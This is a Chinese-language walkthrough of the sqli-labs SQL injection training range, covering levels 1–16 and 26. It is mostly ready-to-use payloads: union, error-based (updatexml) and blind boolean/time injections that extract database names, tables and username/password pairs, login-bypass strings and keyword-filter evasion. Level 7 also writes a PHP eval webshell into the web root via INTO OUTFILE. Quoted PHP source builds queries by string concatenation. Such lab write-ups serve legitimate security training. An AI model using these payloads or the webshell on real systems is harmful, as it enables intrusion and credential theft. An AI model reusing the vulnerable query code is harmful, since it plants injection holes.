SQL注入-sqli-labs靶场通关

SQL注入-sqli-labs靶场通关

1、单引号闭合 '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1' and 1=1 -- -
1' order by 3 -- -
-1' union select 1,(select database()),3 -- -
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
-1' union select 1,group_concat(username,0x3a,password),3 from users -- -

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 10,1),0x7e),1) -- -
1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) -- -

1' and sleep(5) -- -

2、无闭合,可用联合查询、报错查询、时间盲注

1
-1 union select 1,database(),3 and sleep(6) -- -

3、闭合方式:')

可用联合查询、报错查询、时间盲注

4、闭合方式:")

可用联合查询、报错查询、时间盲注

5、闭合方式:' 可用报错查询、时间盲注

updatexml(目标xml内容,xml文档路径,更新的内容)

1
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -

6、闭合方式:" 与5相同,只是闭合方式不同

7、提示: You are in…. Use outfile……

使用写入一句话木马的方式注入
闭合方式:'))
1’)) and 1=1 – -
1’)) and 1=2 – -
1’)) order by 4 – -
可通过盲注判断,使用写入木马的方式注入
写入条件:mysql.ini配置文件中需要有 secure_file_priv= 配置

1
1')) union select 1,"<?php @eval($_POST[123])?>",3 into outfile "D:\\xx\\xx\\phpStudy\\phpStudy\\PHPTutorial\\WWW\\123.php" -- -

使用蚁剑连接,密码为123

8、提示:You are in………..

闭合方式:'

联合查询和报错注入都不能,只能用盲注

布尔型盲注:

length() 函数 返回字符串的长度

substr() 函数 截取字符串 (语法:substr(str,pos,len);)

ascii() 函数 返回字符的ascii码 [将字符变为数字]

时间型盲注:

sleep() 函数 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果第一个语句错误执行第三个语句 。

查询:

数据库名:security

表名:emails

字段名:id

image

payload:

1
2
3
4
5
6
7
8
9
10
11
12
1' and 1=1 -- -
1' and 1=2 -- -
1' order by 3 -- -
1' order by 4 -- -
1' and length(database())>10 -- -
1' and length(database())=8 -- -
1' and ascii(substr(database(),1,1))=115 -- -
1' and ascii(substr(database(),2,1))=101 -- -
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 -- -
1' and ascii(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105 -- -
1' and ascii(substr((select id from emails limit 0,1),1,1))=105 -- -
1' and ascii(substr((select id from emails limit 0,1),1,1))=49 -- -

9、提示:You are in………..

通过如下语句判断闭合方式,延时之后确认闭合方式是:'

1
2
1 and sleep(5) -- -
1' and sleep(5) -- -

按照上一关盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用 时间盲注

payload:

1
2
3
4
5
6
7
8
9
10
数据库名长度:
1' and if(length(database())=8,sleep(5),1) -- qwe
利用ASCII码猜解方式获取当前数据库名称:
1' and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- - 延时,说明数据库名称第一位是s
猜解表名:
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - 延时,说明数据库表名的第一个的第一位是e
猜解字段名:
1' and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - 如果返回正常,说明emails表中的列名称第一位是i
猜解数据:
1' and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- - 如果返回正常,说明id列中的列名称第一位是1

10、提示:You are in………..

通过如下语句判断闭合方式,延时之后确认闭合方式是:",使用延时注入的方式,延时5秒。

1
2
3
1 and sleep(5) -- -
1' and sleep(5) -- -
1" and sleep(5) -- -

按照上一关盲注的手法,做法跟之前是一样的,只是闭合的区别,注入方式还是使用 时间盲注

payload:

1
2
3
4
5
6
7
8
9
10
# 数据库名长度:
1" and if(length(database())=8,sleep(5),1) -- qwe
# 利用ASCII码猜解方式获取当前数据库名称:
1" and if((ascii(substr(database(),1,1))=115),sleep(5),1) -- -
# 猜解表名:
1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- -
# 猜解字段名:
1" and if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- -
# 猜解数据:
1" and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- -

11、是个登录页面

image

使用万能密码可以登录成功:' or 1=1 -- -,闭合方式是单引号

源码如下:

image

payload:

1
2
3
4
5
6
7
' or 1=1 -- -
' or 1=2 -- -
' order by 2 -- -
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- -
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- -
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -

12、与11关一样,也是个登录页面

还是使用万能密码可以登录成功:") or 1=1 -- -,经过尝试发现本关使用 双引号加括号 的方式闭合

image

源码如下:

1
2
3
4
5
6
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload:

1
2
3
4
5
6
7
") or 1=1 -- -
") or 1=2 -- -
") order by 2 -- -
") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- -
") and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- -
") and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -

13、与11、12关一样,也是个登录页面

还是使用万能密码可以登录成功:') or 1=2 -- -,经过尝试发现本关使用 单引号加括号 的方式闭合

登录成功后页面没有任何回显,但是可以用报错注入

image

源码如下:

1
2
3
4
// connectivity 
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload:

1
2
3
4
5
6
7
') or 1=1 -- -
') or 1=2 -- -
') order by 2 -- -
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- -
') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- -
') and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -

14、闭合方式:" , 与上面一样,还是个登录页面

还是使用万能密码可以登录成功:" or 1=2 -- -,经过尝试发现本关使用 双引号 的方式闭合

可以用报错注入

image

源码如下:

1
2
3
4
5
6
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload:

1
2
3
4
5
6
7
" or 1=1 -- -
" or 1=2 -- -
" order by 2 -- -
" and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- -
" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- -
" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 3,1),0x7e),1) -- -

15、闭合方式:'

还是使用万能密码可以登录成功:' or 1=2 -- -,经过尝试发现本关使用 单引号 的方式闭合

可以用盲注,因为发现跟前面靶场没什么区别,按照以往思路,尝试一下报错的手段发现他并没有输出报错语句,看源码后,发现这里也确实是没有输出,可以尝试利用盲注的手段。

image

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload:

1
2
3
4
5
6
7
8
9
10
11
12
' or 1=1 -- -
' or 1=2 -- -
' order by 2 -- -
# 猜解库名长度
' or (length(database()))=8 -- -
# 利用ASCII码猜解当前数据库名称:
' or (ascii(substr(database(),1,1)))=115-- - # 返回正常,说明数据库名称第一位是s
' or (ascii(substr(database(),2,1)))=101-- - # 返回正常,说明数据库名称第二位是e
# 猜表名:
' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- - # 如果返回正常,说明数# 据库表名的第一个的第一位是e
# 猜字段名
'or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- - # 如果返回正常,说明 emails表中的列名称第一位是i

16、闭合方式:")

和上面15关是一样的思路,都是经过post传参的盲注,只是闭合的区别

源码如下:

1
2
3
4
5
6
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

payload:

和上一关一样,只是闭合方式换为:")

26、绕过过滤:闭合方式:'

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

过滤了这么多

payload:

1
2
3
4
5
6
7
8
9
10
?id=1' || '1'='1
?id=1'anandd'1'='2
# 报错查数据库名
?id=1' || updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1
# 报错查表名
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)=database()),0x7e),1) || '1'='1
# 报错查字段
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name)="users"),0x7e),1) || '1'='1
# 查数据
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(username,passwoorrd)) from (security.users)),0x7e),1) || '1'='1